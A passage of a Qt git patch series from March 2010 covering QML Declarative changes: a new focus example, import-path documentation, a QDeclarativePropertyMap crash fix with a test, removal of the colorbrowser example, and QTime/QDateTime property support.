Listviews.qml +ListViewDelegate ListViewDelegate.qml diff --git a/examples/declarative/focus/focus.qml b/examples/declarative/focus/focus.qml new file mode 100644 index 0000000..a8dc3c8 --- /dev/null +++ b/examples/declarative/focus/focus.qml @@ -0,0 +1,50 @@ +import Qt 4.6 +import "Core" 1.0 + +Rectangle { + id: window; width: 800; height: 480; color: "#3E606F" + + FocusScope { + id: mainView; focus: true; width: parent.width; height: parent.height + + GridMenu { + id: gridMenu; focus: true + width: parent.width; height: 320; interactive: parent.wantsFocus + } + + ListViews { id: listViews; y: 320; width: parent.width; height: 320 } + + Rectangle { id: shade; color: "black"; opacity: 0; anchors.fill: parent } + + states: State { + name: "showListViews" + PropertyChanges { target: gridMenu; y: -160 } + PropertyChanges { target: listViews; y: 160 } + } + + transitions: Transition { + NumberAnimation { properties: "y"; duration: 600; easing.type: "OutQuint" } + } + } + + Image { + source: "Core/images/arrow.png"; rotation: 90; anchors.verticalCenter: parent.verticalCenter + MouseArea { + anchors { fill: parent; leftMargin: -10; topMargin: -10; rightMargin: -10; bottomMargin: -10 } + onClicked: window.state = "contextMenuOpen" + } + } + + ContextMenu { id: contextMenu; x: -265; width: 260; height: parent.height } + + states: State { + name: "contextMenuOpen"; when: !mainView.wantsFocus + PropertyChanges { target: contextMenu; x: 0; open: true } + PropertyChanges { target: mainView; x: 130 } + PropertyChanges { target: shade; opacity: 0.25 } + } + + transitions: Transition { + NumberAnimation { properties: "x,opacity"; duration: 600; easing.type: "OutQuint" } + } +} -- cgit v0.12 From 4aa16a2325744ed903736f2c1ffb38b81b117161 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Mon, 29 Mar 2010 13:48:35 +1000 Subject: Import path detail. --- doc/src/declarative/modules.qdoc | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/doc/src/declarative/modules.qdoc b/doc/src/declarative/modules.qdoc index f5dd405..13658d8 100644 --- a/doc/src/declarative/modules.qdoc +++ b/doc/src/declarative/modules.qdoc @@ -70,7 +70,7 @@ Installed modules can \e only be on the local file system or in application C++ are defined in QML files and \l{QDeclarativeExtensionPlugin}{QML C++ plugins} in a directory, but the directory is indirectly referred to by the URI. The mapping to actual content is either by application C++ code registering a C++ type to a module URI (see \l{Extending QML in C++}), -or in the referenced subdirectory of a path on the QDeclarativeEngine::importPathList(). +or in the referenced subdirectory of a path on the import path (see below). When importing a location module, an un-quoted URI is used: \code @@ -83,6 +83,13 @@ For either type of module, a \c qmldir file in the module directory defines the optional for location modules, but only for local filesystem content or a single remote content with a namespace. The second exception is explained in more detail in the section below on Namespaces. +\seciont2 The Import Path + +Installed modules are searched for on the import path. +The \c -L option to the \l {Qt Declarative UI Runtime}{qml} runtime adds paths to the import path. + +From C++, the path is available via \l QDeclarativeEngine::importPathList() and can be prepended to +using \l QDeclarativeEngine::addImportPath(). \section2 The \c qmldir File -- cgit v0.12 From e011539844e6702e02770362a95d9b969643a9df Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Mon, 29 Mar 2010 13:47:45 +1000 Subject: Fix crash in QDeclarativePropertyMap. Task-number: QTBUG-9439 --- src/declarative/util/qdeclarativeopenmetaobject.cpp | 2 +- src/declarative/util/qdeclarativepropertymap.cpp | 13 ++++++++----- .../tst_qdeclarativepropertymap.cpp | 16 ++++++++++++++++ 3 files changed, 25 insertions(+), 6 deletions(-) diff --git a/src/declarative/util/qdeclarativeopenmetaobject.cpp b/src/declarative/util/qdeclarativeopenmetaobject.cpp index 70ecf95..6611885 100644 --- a/src/declarative/util/qdeclarativeopenmetaobject.cpp +++ b/src/declarative/util/qdeclarativeopenmetaobject.cpp @@ -222,7 +222,7 @@ int QDeclarativeOpenMetaObject::metaCall(QMetaObject::Call c, int id, void **a) propertyRead(propId); *reinterpret_cast(a[0]) = d->getData(propId); } else if (c == QMetaObject::WriteProperty) { - if (d->data[propId].first != *reinterpret_cast(a[0])) { + if (propId <= d->data.count() || d->data[propId].first != *reinterpret_cast(a[0])) { propertyWrite(propId); d->writeData(propId, *reinterpret_cast(a[0])); propertyWritten(propId); diff --git a/src/declarative/util/qdeclarativepropertymap.cpp b/src/declarative/util/qdeclarativepropertymap.cpp index d3e1d7c..0bdd91b 100644 --- a/src/declarative/util/qdeclarativepropertymap.cpp +++ b/src/declarative/util/qdeclarativepropertymap.cpp @@ -41,6 +41,7 @@ #include "qdeclarativepropertymap.h" +#include #include "qdeclarativeopenmetaobject_p.h" #include @@ -56,6 +57,7 @@ public: protected: virtual void propertyWritten(int index); + virtual void propertyCreated(int, QMetaPropertyBuilder &); private: QDeclarativePropertyMap *map; @@ -88,6 +90,11 @@ void QDeclarativePropertyMapMetaObject::propertyWritten(int index) priv->emitChanged(QString::fromUtf8(name(index)), operator[](index)); } +void QDeclarativePropertyMapMetaObject::propertyCreated(int, QMetaPropertyBuilder &b) +{ + priv->keys.append(QString::fromUtf8(b.name())); +} + /*! \class QDeclarativePropertyMap \since 4.7 @@ -172,8 +179,6 @@ QVariant QDeclarativePropertyMap::value(const QString &key) const void QDeclarativePropertyMap::insert(const QString &key, const QVariant &value) { Q_D(QDeclarativePropertyMap); - if (!d->keys.contains(key)) - d->keys.append(key); d->mo->setValue(key.toUtf8(), value); } @@ -249,10 +254,8 @@ QVariant &QDeclarativePropertyMap::operator[](const QString &key) //### optimize Q_D(QDeclarativePropertyMap); QByteArray utf8key = key.toUtf8(); - if (!d->keys.contains(key)) { - d->keys.append(key); + if (!d->keys.contains(key)) d->mo->setValue(utf8key, QVariant()); //force creation -- needed below - } return (*(d->mo))[utf8key]; } diff --git a/tests/auto/declarative/qdeclarativepropertymap/tst_qdeclarativepropertymap.cpp b/tests/auto/declarative/qdeclarativepropertymap/tst_qdeclarativepropertymap.cpp index d23de43..c996a14 100644 --- a/tests/auto/declarative/qdeclarativepropertymap/tst_qdeclarativepropertymap.cpp +++ b/tests/auto/declarative/qdeclarativepropertymap/tst_qdeclarativepropertymap.cpp @@ -59,6 +59,8 @@ private slots: void clear(); void changed(); void count(); + + void crashBug(); }; void tst_QDeclarativePropertyMap::insert() @@ -168,6 +170,20 @@ void tst_QDeclarativePropertyMap::count() QCOMPARE(map.size(), map.count()); } +void tst_QDeclarativePropertyMap::crashBug() +{ + QDeclarativePropertyMap map; + + QDeclarativeEngine engine; + QDeclarativeContext context(&engine); + context.setContextProperty("map", &map); + + QDeclarativeComponent c(&engine); + c.setData("import Qt 4.6\nBinding { target: map; property: \"myProp\"; value: 10 + 23 }",QUrl()); + QObject *obj = c.create(&context); + delete obj; +} + QTEST_MAIN(tst_QDeclarativePropertyMap) #include "tst_qdeclarativepropertymap.moc" -- cgit v0.12 From dd81331989b2f6487c6c28e04afc56bd98254322 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Mon, 29 Mar 2010 13:57:01 +1000 Subject: Remove total wrongness. Base URL of engine is not what some people think it is. --- src/declarative/util/qdeclarativeview.cpp | 1 - 1 file changed, 1 deletion(-) diff --git a/src/declarative/util/qdeclarativeview.cpp b/src/declarative/util/qdeclarativeview.cpp index 8e65151..138fe3c 100644 --- a/src/declarative/util/qdeclarativeview.cpp +++ b/src/declarative/util/qdeclarativeview.cpp @@ -289,7 +289,6 @@ QDeclarativeView::~QDeclarativeView() void QDeclarativeView::setSource(const QUrl& url) { d->source = url; - d->engine.setBaseUrl(url); d->execute(); } -- cgit v0.12 From 3943b97addec5436af595333150858c48c2f6ca6 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Mon, 29 Mar 2010 14:17:14 +1000 Subject: Fix for qdeclarativelanguage::listProperties --- src/declarative/qml/qdeclarativevmemetaobject.cpp | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/src/declarative/qml/qdeclarativevmemetaobject.cpp b/src/declarative/qml/qdeclarativevmemetaobject.cpp index 7a08a2c..2404fdd 100644 --- a/src/declarative/qml/qdeclarativevmemetaobject.cpp +++ b/src/declarative/qml/qdeclarativevmemetaobject.cpp @@ -480,9 +480,12 @@ int QDeclarativeVMEMetaObject::metaCall(QMetaObject::Call c, int _id, void **a) break; } if (t == qMetaTypeId >()) { + int listIndex = data[id].asInt(); + const List *list = listProperties.at(listIndex); *reinterpret_cast *>(a[0]) = - QDeclarativeListProperty(object, (void *)&listProperties.at(data[id].asInt()), - list_append, list_count, list_at, list_clear); + QDeclarativeListProperty(object, (void *)list, + list_append, list_count, list_at, + list_clear); } } else if (c == QMetaObject::WriteProperty) { -- cgit v0.12 From 03166b7e3c491caaebfa7cea8edd137f66058024 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Mon, 29 Mar 2010 14:23:59 +1000 Subject: doc --- src/imports/webkit/qdeclarativewebview.cpp | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/src/imports/webkit/qdeclarativewebview.cpp b/src/imports/webkit/qdeclarativewebview.cpp index 0b85ae4..be3fca2 100644 --- a/src/imports/webkit/qdeclarativewebview.cpp +++ b/src/imports/webkit/qdeclarativewebview.cpp @@ -121,6 +121,10 @@ public: A WebView renders web content based on a URL. + This type is made available by importing the \c org.webkit module: + + \b{import org.webkit 1.0} + If the width and height of the item is not set, they will dynamically adjust to a size appropriate for the content. This width may be large for typical online web pages. -- cgit v0.12 From 5f5bd682ea2dfa7a4ee5d66586a7499e91ca3205 Mon Sep 17 00:00:00 2001 From: Yann Bodson Date: Mon, 29 Mar 2010 14:25:02 +1000 Subject: Remove colorbrowser example --- examples/declarative/colorbrowser/colorbrowser.qml | 101 ------------------ .../colorbrowser/dummydata/ColorsModel.qml | 96 ----------------- .../declarative/colorbrowser/qml/ColorDelegate.qml | 114 --------------------- .../declarative/colorbrowser/qml/box-shadow.png | Bin 871 -> 0 bytes examples/declarative/colorbrowser/qml/box.png | Bin 765 -> 0 bytes 5 files changed, 311 deletions(-) delete mode 100644 examples/declarative/colorbrowser/colorbrowser.qml delete mode 100644 examples/declarative/colorbrowser/dummydata/ColorsModel.qml delete mode 100644 examples/declarative/colorbrowser/qml/ColorDelegate.qml delete mode 100644 examples/declarative/colorbrowser/qml/box-shadow.png delete mode 100644 examples/declarative/colorbrowser/qml/box.png diff --git a/examples/declarative/colorbrowser/colorbrowser.qml b/examples/declarative/colorbrowser/colorbrowser.qml deleted file mode 100644 index d4c21e7..0000000 --- a/examples/declarative/colorbrowser/colorbrowser.qml +++ /dev/null @@ -1,101 +0,0 @@ -import Qt 4.6 -import 'qml' - -Rectangle { - id: mainWindow - width: 800; height: 480; color: '#454545' - - VisualDataModel { id: colorsVisualModel; delegate: colorsDelegate; model: ColorsModel } - - Component { - id: colorsDelegate - Package { - - Item { - Package.name: 'grid' - GridView { - id: gridView; model: visualModel.parts.grid; width: mainWindow.width; height: mainWindow.height - cellWidth: 160; cellHeight: 160; interactive: false - onCurrentIndexChanged: listView.positionViewAtIndex(currentIndex, ListView.Contain) - } - } - - Item { - Package.name: 'fullscreen' - ListView { - id: listView; model: visualModel.parts.list; orientation: Qt.Horizontal - width: mainWindow.width; height: mainWindow.height; interactive: false - onCurrentIndexChanged: gridView.positionViewAtIndex(currentIndex, GridView.Contain) - highlightRangeMode: ListView.StrictlyEnforceRange; snapMode: ListView.SnapOneItem - } - } - - Item { - Package.name: 'stack' - id: wrapper - width: 260; height: 240 - - VisualDataModel { id: visualModel; model: colors; delegate: ColorDelegate {} } - - PathView { - id: pathView; model: visualModel.parts.stack; anchors.centerIn: parent - pathItemCount: 3 - path: Path { - PathAttribute { name: 'z'; value: 9999.0 } - PathLine { x: 1; y: 1 } - PathAttribute { name: 'z'; value: 0.0 } - } - } - - Item { - anchors.horizontalCenter: parent.horizontalCenter; anchors.bottom: parent.bottom; anchors.bottomMargin: 20 - width: albumTitle.width + 20 ; height: albumTitle.height + 4 - Text { id: albumTitle; text: name; color: 'white'; font.bold: true; anchors.centerIn: parent } - } - - MouseArea { anchors.fill: parent; onClicked: wrapper.state = 'inGrid' } - - states: [ - State { - name: 'inGrid' - PropertyChanges { target: gridView; interactive: true } - PropertyChanges { target: shade; opacity: 1 } - }, - State { - name: 'fullscreen'; extend: 'inGrid' - PropertyChanges { target: gridView; interactive: false } - PropertyChanges { target: listView; interactive: true } - PropertyChanges { target: infobox; opacity: 1 } - } - ] - - transitions: [ - Transition { - from: ''; to: 'inGrid'; reversible: true - NumberAnimation { target: shade; properties: 'opacity'; duration: 300 } - }, - Transition { - from: 'inGrid'; to: 'fullscreen'; reversible: true - SequentialAnimation { - PauseAnimation { duration: 300 } - NumberAnimation { target: infobox; properties: 'opacity'; duration: 300 } - } - } - ] - } - } - } - - GridView { width: parent.width; height: parent.height; cellWidth: 260; cellHeight: 240; model: colorsVisualModel.parts.stack } - Rectangle { id: shade; color: '#454545'; width: parent.width; height: parent.height; opacity: 0 } - ListView { anchors.fill: parent; model: colorsVisualModel.parts.grid; interactive: false } - ListView { anchors.fill: parent; model: colorsVisualModel.parts.fullscreen; interactive: false } - Item { id: foreground; anchors.fill: parent } - - Column { - id: infobox; opacity: 0 - anchors { left: parent.left; leftMargin: 20; bottom: parent.bottom; bottomMargin: 20 } - Text { id: infoColorName; color: '#eeeeee'; style: Text.Outline; styleColor: '#222222'; font.pointSize: 18 } - Text { id: infoColorHex; color: '#eeeeee'; style: Text.Outline; styleColor: '#222222'; font.pointSize: 14 } - } -} diff --git a/examples/declarative/colorbrowser/dummydata/ColorsModel.qml b/examples/declarative/colorbrowser/dummydata/ColorsModel.qml deleted file mode 100644 index eefbcfe..0000000 --- a/examples/declarative/colorbrowser/dummydata/ColorsModel.qml +++ /dev/null @@ -1,96 +0,0 @@ -import Qt 4.6 - -ListModel { - id: colorsModel - - ListElement { - name: "Reds" - colors: [ - ListElement { name: "Fire Brick"; hex: "#B22222" }, - ListElement { name: "Fire Brick 1"; hex: "#FF3030" }, - ListElement { name: "Fire Brick 2"; hex: "#EE2C2C" }, - ListElement { name: "Fire Brick 3"; hex: "#CD2626" }, - ListElement { name: "Fire Brick 4"; hex: "#8B1A1A" }, - ListElement { name: "Red"; hex: "#FF0000" }, - ListElement { name: "Red 2"; hex: "#EE0000" }, - ListElement { name: "Red 3"; hex: "#CD0000" }, - ListElement { name: "Red 4"; hex: "#8B0000" }, - ListElement { name: "Tomato"; hex: "#FF6347" }, - ListElement { name: "Tomato 2"; hex: "#EE5C42" }, - ListElement { name: "Tomato 3"; hex: "#CD4F39" }, - ListElement { name: "Tomato 4"; hex: "#8B3626" }, - ListElement { name: "Orange Red"; hex: "#FF4500" }, - ListElement { name: "Orange Red 2"; hex: "#EE4000" }, - ListElement { name: "Orange Red 3"; hex: "#CD3700" }, - ListElement { name: "Orange Red 4"; hex: "#8B2500" }, - ListElement { name: "Indian Red 2"; hex: "#EE6363" }, - ListElement { name: "Indian Red 3"; hex: "#CD5555" }, - ListElement { name: "Indian Red 4"; hex: "#8B3A3A" }, - ListElement { name: "Brown"; hex: "#A52A2A" }, - ListElement { name: "Brown 1"; hex: "#FF4040" }, - ListElement { name: "Brown 2"; hex: "#EE3B3B" }, - ListElement { name: "Brown 3"; hex: "#CD3333" }, - ListElement { name: "Brown 4"; hex: "#8B2323" } - ] - } - ListElement { - name: "Greens" - colors: [ - ListElement { name: "Green"; hex: "#008000" }, - ListElement { name: "Green 2"; hex: "#00EE00" }, - ListElement { name: "Green 3"; hex: "#00CD00" }, - ListElement { name: "Green 4"; hex: "#008B00" }, - ListElement { name: "Dark Green"; hex: "#006400" }, - ListElement { name: "Sap Green"; hex: "#308014" }, - ListElement { name: "Medium Spring Green"; hex: "#00FA9A" }, - ListElement { name: "Spring Green"; hex: "#00FF7F" }, - ListElement { name: "Spring Green 1"; hex: "#00EE76" }, - ListElement { name: "Spring Green 2"; hex: "#00CD66" }, - ListElement { name: "Spring Green 3"; hex: "#008B45" }, - ListElement { name: "Medium Sea Green"; hex: "#3CB371" }, - ListElement { name: "Sea Green 1"; hex: "#54FF9F" }, - ListElement { name: "Sea Green 2"; hex: "#4EEE94" }, - ListElement { name: "Sea Green 3"; hex: "#43CD80" }, - ListElement { name: "Sea Green 4"; hex: "#2E8B57" }, - ListElement { name: "Emerald Green"; hex: "#00C957" }, - ListElement { name: "Mint"; hex: "#BDFCC9" }, - ListElement { name: "Cobalt Green"; hex: "#3D9140" }, - ListElement { name: "Dark Sea Green"; hex: "#8FBC8F" }, - ListElement { name: "Dark Sea Green 1"; hex: "#C1FFC1" }, - ListElement { name: "Dark Sea Green 2"; hex: "#B4EEB4" }, - ListElement { name: "Dark Sea Green 3"; hex: "#9BCD9B" }, - ListElement { name: "Dark Sea Green 4"; hex: "#698B69" }, - ListElement { name: "Lime Green"; hex: "#00FF00" } - ] - } - ListElement { - name: "Blues" - colors: [ - ListElement { name: "Dark Slate Blue"; hex: "#483D8B" }, - ListElement { name: "Light Slate Blue"; hex: "#8470FF" }, - ListElement { name: "Medium Slate Blue"; hex: "#7B68EE" }, - ListElement { name: "Slate Blue"; hex: "#6A5ACD" }, - ListElement { name: "Blue"; hex: "#0000FF" }, - ListElement { name: "Midnight Blue"; hex: "#191970" }, - ListElement { name: "Cobalt"; hex: "#3D59AB" }, - ListElement { name: "Royal Blue"; hex: "#4169E1" }, - ListElement { name: "Corn Flower Blue"; hex: "#6495ED" }, - ListElement { name: "Light Steel Blue"; hex: "#B0C4DE" }, - ListElement { name: "Light Steel Blue 1"; hex: "#CAE1FF" }, - ListElement { name: "Light Steel Blue 2"; hex: "#BCD2EE" }, - ListElement { name: "Light Steel Blue 3"; hex: "#A2B5CD" }, - ListElement { name: "Dodger Blue"; hex: "#1E90FF" }, - ListElement { name: "Dodger Blue 2"; hex: "#1C86EE" }, - ListElement { name: "Dodger Blue 3"; hex: "#1874CD" }, - ListElement { name: "Dodger Blue 4"; hex: "#104E8B" }, - ListElement { name: "Steel Blue"; hex: "#4682B4" }, - ListElement { name: "Light Sky Blue"; hex: "#87CEFA" }, - ListElement { name: "Sky Blue"; hex: "#87CEEB" }, - ListElement { name: "Peacock"; hex: "#33A1C9" }, - ListElement { name: "Light Blue"; hex: "#ADD8E6" }, - ListElement { name: "Powder Blue"; hex: "#B0E0E6" }, - ListElement { name: "Cadet Blue"; hex: "#5F9EA0" }, - ListElement { name: "Cyan"; hex: "#00FFFF" } - ] - } -} diff --git a/examples/declarative/colorbrowser/qml/ColorDelegate.qml b/examples/declarative/colorbrowser/qml/ColorDelegate.qml deleted file mode 100644 index c123d12..0000000 --- a/examples/declarative/colorbrowser/qml/ColorDelegate.qml +++ /dev/null @@ -1,114 +0,0 @@ -import Qt 4.6 - -Package { - Item { id: stack; Package.name: 'stack'; width: 110; height: 110; z: stack.PathView.z } - Item { id: list; Package.name: 'list'; width: mainWindow.width + 4; height: 110 } - Item { id: grid; Package.name: 'grid'; width: 110; height: 110 } - - Item { - id: delegate - - property double randomAngle: Math.random() * (2 * 8 + 1) - 8 - property bool open: false - - width: 110; height: 110; z: stack.PathView.z - - Image { x: -6; y: -5; source: 'box-shadow.png'; smooth: true; } - Rectangle { color: hex; anchors.fill: parent; smooth: true } - Image { id: box; source: 'box.png'; smooth: true; anchors.fill: parent } - - Binding { - target: infoColorName; property: 'text' - value: name; when: delegate.open && list.ListView.isCurrentItem - } - - Binding { - target: infoColorHex; property: 'text' - value: hex; when: delegate.open && list.ListView.isCurrentItem - } - - MouseArea { - anchors.fill: parent - acceptedButtons: Qt.RightButton | Qt.LeftButton - onClicked: { - if (wrapper.state == 'inGrid' && mouse.button == Qt.RightButton) { - wrapper.state = '' - } else if (wrapper.state == 'inGrid') { - grid.GridView.view.currentIndex = index; - wrapper.state = 'fullscreen' - } else { - grid.GridView.view.currentIndex = index; - wrapper.state = 'inGrid' - } - } - } - - states: [ - State { - name: 'stacked'; when: wrapper.state == '' - ParentChange { target: delegate; parent: stack; x: 0; y: 0; rotation: delegate.randomAngle } - PropertyChanges { target: delegate; visible: stack.PathView.onPath ? 1.0 : 0.0 } - }, - State { - name: 'inGrid'; when: wrapper.state == 'inGrid' - ParentChange { target: delegate; parent: grid; x: 24; y: 24 } - PropertyChanges { target: delegate; open: true } - }, - State { - name: 'fullscreen'; when: wrapper.state == 'fullscreen' - ParentChange { target: delegate; parent: list; x: 0; y: 0; width: mainWindow.width; height: mainWindow.height } - PropertyChanges { target: box; opacity: 0 } - PropertyChanges { target: delegate; open: true } - } - ] - - transitions: [ - Transition { - from: 'stacked'; to: 'inGrid' - SequentialAnimation { - PauseAnimation { duration: 20 * index } - ParentAnimation { - target: delegate; via: foreground - NumberAnimation { targets: delegate; properties: 'x,y,width,height,rotation'; duration: 600; easing.type: 'OutBack' } - } - } - }, - Transition { - from: 'inGrid'; to: 'stacked' - ParentAnimation { - target: delegate; via: foreground - NumberAnimation { properties: 'x,y,width,height,rotation'; duration: 300; easing.type: 'InOutQuad' } - } - }, - Transition { - from: 'inGrid'; to: 'fullscreen' - SequentialAnimation { - PauseAnimation { duration: grid.GridView.isCurrentItem ? 0 : 300 } - ParentAnimation { - target: delegate; via: foreground - NumberAnimation { - properties: 'x,y,width,height,opacity' - duration: grid.GridView.isCurrentItem ? 300 : 1; easing.type: 'InOutQuad' - } - } - } - }, - Transition { - from: 'fullscreen'; to: 'inGrid' - SequentialAnimation { - PauseAnimation { duration: grid.GridView.isCurrentItem ? 3 : 0 } - ParallelAnimation { - ParentAnimation { - target: delegate; via: foreground - NumberAnimation { - properties: 'x,y,width,height' - duration: grid.GridView.isCurrentItem ? 300 : 1; easing.type: 'InOutQuad' - } - } - NumberAnimation { properties: 'opacity'; duration: grid.GridView.isCurrentItem ? 300 : 1; easing.type: 'InOutQuad' } - } - } - } - ] - } -} diff --git a/examples/declarative/colorbrowser/qml/box-shadow.png b/examples/declarative/colorbrowser/qml/box-shadow.png deleted file mode 100644 index 3281a37..0000000 Binary files a/examples/declarative/colorbrowser/qml/box-shadow.png and /dev/null differ diff --git a/examples/declarative/colorbrowser/qml/box.png b/examples/declarative/colorbrowser/qml/box.png deleted file mode 100644 index 86538aa..0000000 Binary files a/examples/declarative/colorbrowser/qml/box.png and /dev/null differ -- cgit v0.12 From e3ec89ed31439a83c10a2fc2d770283f4f10f31a Mon Sep 17 00:00:00 2001 From: Yann Bodson Date: Mon, 29 Mar 2010 14:43:43 +1000 Subject: Update examples/declarative.pro --- examples/declarative/declarative.pro | 5 +++-- examples/declarative/widgets/README | 4 ++++ 2 files changed, 7 insertions(+), 2 deletions(-) create mode 100644 examples/declarative/widgets/README diff --git a/examples/declarative/declarative.pro b/examples/declarative/declarative.pro index b8c0200..bddfbee 100644 --- a/examples/declarative/declarative.pro +++ b/examples/declarative/declarative.pro @@ -5,7 +5,8 @@ SUBDIRS = \ extending \ imageprovider \ objectlistmodel \ - plugins + plugins \ + widgets # These examples contain no C++ and can simply be copied sources.files = \ @@ -14,12 +15,12 @@ sources.files = \ behaviours \ border-image \ clocks \ - colorbrowser \ connections \ dial \ dynamic \ effects \ fillmode \ + focus \ focusscope \ fonts \ gridview \ diff --git a/examples/declarative/widgets/README b/examples/declarative/widgets/README new file mode 100644 index 0000000..f85a1e8 --- /dev/null +++ b/examples/declarative/widgets/README @@ -0,0 +1,4 @@ +To run: + + make install + qml mywidgets.qml -- cgit v0.12 From d6817c59b664b1ce08e45bed902f17b58160a30f Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Mon, 29 Mar 2010 14:47:53 +1000 Subject: Use QDateTime when specifying a "date" property in QML QT-718 --- src/declarative/qml/qdeclarativecompiler.cpp | 8 ++++++++ src/declarative/qml/qdeclarativeengine.cpp | 5 +++-- src/declarative/qml/qdeclarativeparser_p.h | 2 +- src/declarative/qml/qdeclarativescriptparser.cpp | 8 +++++++- src/declarative/qml/qdeclarativevmemetaobject.cpp | 24 +++++++++++++++++++++++ 5 files changed, 43 insertions(+), 4 deletions(-) diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index a9d90f3..f1a673f 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -2428,10 +2428,18 @@ bool QDeclarativeCompiler::buildDynamicMeta(QDeclarativeParser::Object *obj, Dyn propertyType = QVariant::Color; type = "QColor"; break; + case Object::DynamicProperty::Time: + propertyType = QVariant::Time; + type = "QTime"; + break; case Object::DynamicProperty::Date: propertyType = QVariant::Date; type = "QDate"; break; + case Object::DynamicProperty::DateTime: + propertyType = QVariant::DateTime; + type = "QDateTime"; + break; } ((QDeclarativeVMEMetaData *)dynamicData.data())->propertyCount++; diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index a153f8f..5335b8c 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -1306,13 +1306,14 @@ QScriptValue QDeclarativeEnginePrivate::tint(QScriptContext *ctxt, QScriptEngine QScriptValue QDeclarativeEnginePrivate::scriptValueFromVariant(const QVariant &val) { if (val.userType() == qMetaTypeId()) { - QDeclarativeListReferencePrivate *p = QDeclarativeListReferencePrivate::get((QDeclarativeListReference*)val.constData()); + QDeclarativeListReferencePrivate *p = + QDeclarativeListReferencePrivate::get((QDeclarativeListReference*)val.constData()); if (p->object) { return listClass->newList(p->property, p->propertyType); } else { return scriptEngine.nullValue(); } - } + } bool objOk; QObject *obj = QDeclarativeMetaType::toQObject(val, &objOk); diff --git a/src/declarative/qml/qdeclarativeparser_p.h b/src/declarative/qml/qdeclarativeparser_p.h index 476b027..f432024 100644 --- a/src/declarative/qml/qdeclarativeparser_p.h +++ b/src/declarative/qml/qdeclarativeparser_p.h @@ -203,7 +203,7 @@ namespace QDeclarativeParser DynamicProperty(); DynamicProperty(const DynamicProperty &); - enum Type { Variant, Int, Bool, Real, String, Url, Color, Date, Alias, Custom, CustomList }; + enum Type { Variant, Int, Bool, Real, String, Url, Color, Time, Date, DateTime, Alias, Custom, CustomList }; bool isDefaultProperty; Type type; diff --git a/src/declarative/qml/qdeclarativescriptparser.cpp b/src/declarative/qml/qdeclarativescriptparser.cpp index 49bd3b7..ed35fed 100644 --- a/src/declarative/qml/qdeclarativescriptparser.cpp +++ b/src/declarative/qml/qdeclarativescriptparser.cpp @@ -528,7 +528,13 @@ bool ProcessAST::visit(AST::UiPublicMember *node) { "string", Object::DynamicProperty::String, "QString" }, { "url", Object::DynamicProperty::Url, "QUrl" }, { "color", Object::DynamicProperty::Color, "QColor" }, - { "date", Object::DynamicProperty::Date, "QDate" }, + // Internally QTime, QDate and QDateTime are all supported. + // To be more consistent with JavaScript we expose only + // QDateTime as it matches closely with the Date JS type. + // We also call it "date" to match. + // { "time", Object::DynamicProperty::Time, "QTime" }, + // { "date", Object::DynamicProperty::Date, "QDate" }, + { "date", Object::DynamicProperty::DateTime, "QDateTime" }, { "var", Object::DynamicProperty::Variant, "QVariant" }, { "variant", Object::DynamicProperty::Variant, "QVariant" } }; diff --git a/src/declarative/qml/qdeclarativevmemetaobject.cpp b/src/declarative/qml/qdeclarativevmemetaobject.cpp index 2404fdd..721e1f1 100644 --- a/src/declarative/qml/qdeclarativevmemetaobject.cpp +++ b/src/declarative/qml/qdeclarativevmemetaobject.cpp @@ -69,6 +69,7 @@ public: inline const QString &asQString(); inline const QUrl &asQUrl(); inline const QColor &asQColor(); + inline const QTime &asQTime(); inline const QDate &asQDate(); inline const QDateTime &asQDateTime(); inline const QScriptValue &asQScriptValue(); @@ -81,6 +82,7 @@ public: inline void setValue(const QString &); inline void setValue(const QUrl &); inline void setValue(const QColor &); + inline void setValue(const QTime &); inline void setValue(const QDate &); inline void setValue(const QDateTime &); inline void setValue(const QScriptValue &); @@ -119,6 +121,9 @@ void QDeclarativeVMEVariant::cleanup() } else if (type == QMetaType::QColor) { ((QColor *)dataPtr())->~QColor(); type = QVariant::Invalid; + } else if (type == QMetaType::QTime) { + ((QTime *)dataPtr())->~QTime(); + type = QVariant::Invalid; } else if (type == QMetaType::QDate) { ((QDate *)dataPtr())->~QDate(); type = QVariant::Invalid; @@ -214,6 +219,14 @@ const QColor &QDeclarativeVMEVariant::asQColor() return *(QColor *)(dataPtr()); } +const QTime &QDeclarativeVMEVariant::asQTime() +{ + if (type != QMetaType::QTime) + setValue(QTime()); + + return *(QTime *)(dataPtr()); +} + const QDate &QDeclarativeVMEVariant::asQDate() { if (type != QMetaType::QDate) @@ -318,6 +331,17 @@ void QDeclarativeVMEVariant::setValue(const QColor &v) } } +void QDeclarativeVMEVariant::setValue(const QTime &v) +{ + if (type != QMetaType::QTime) { + cleanup(); + type = QMetaType::QTime; + new (dataPtr()) QTime(v); + } else { + *(QTime *)(dataPtr()) = v; + } +} + void QDeclarativeVMEVariant::setValue(const QDate &v) { if (type != QMetaType::QDate) { -- cgit v0.12 From d1f01956769f4f3ded29095afec5cbf52eb8f1c8 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Mon, 29 Mar 2010 14:57:29 +1000 Subject: Remove "variant" QML properties "property var a" works just as well --- src/declarative/qml/qdeclarativescriptparser.cpp | 3 +-- tests/auto/declarative/qdeclarativelanguage/data/dynamicProperties.qml | 1 - .../auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp | 1 - 3 files changed, 1 insertion(+), 4 deletions(-) diff --git a/src/declarative/qml/qdeclarativescriptparser.cpp b/src/declarative/qml/qdeclarativescriptparser.cpp index ed35fed..9fff294 100644 --- a/src/declarative/qml/qdeclarativescriptparser.cpp +++ b/src/declarative/qml/qdeclarativescriptparser.cpp @@ -535,8 +535,7 @@ bool ProcessAST::visit(AST::UiPublicMember *node) // { "time", Object::DynamicProperty::Time, "QTime" }, // { "date", Object::DynamicProperty::Date, "QDate" }, { 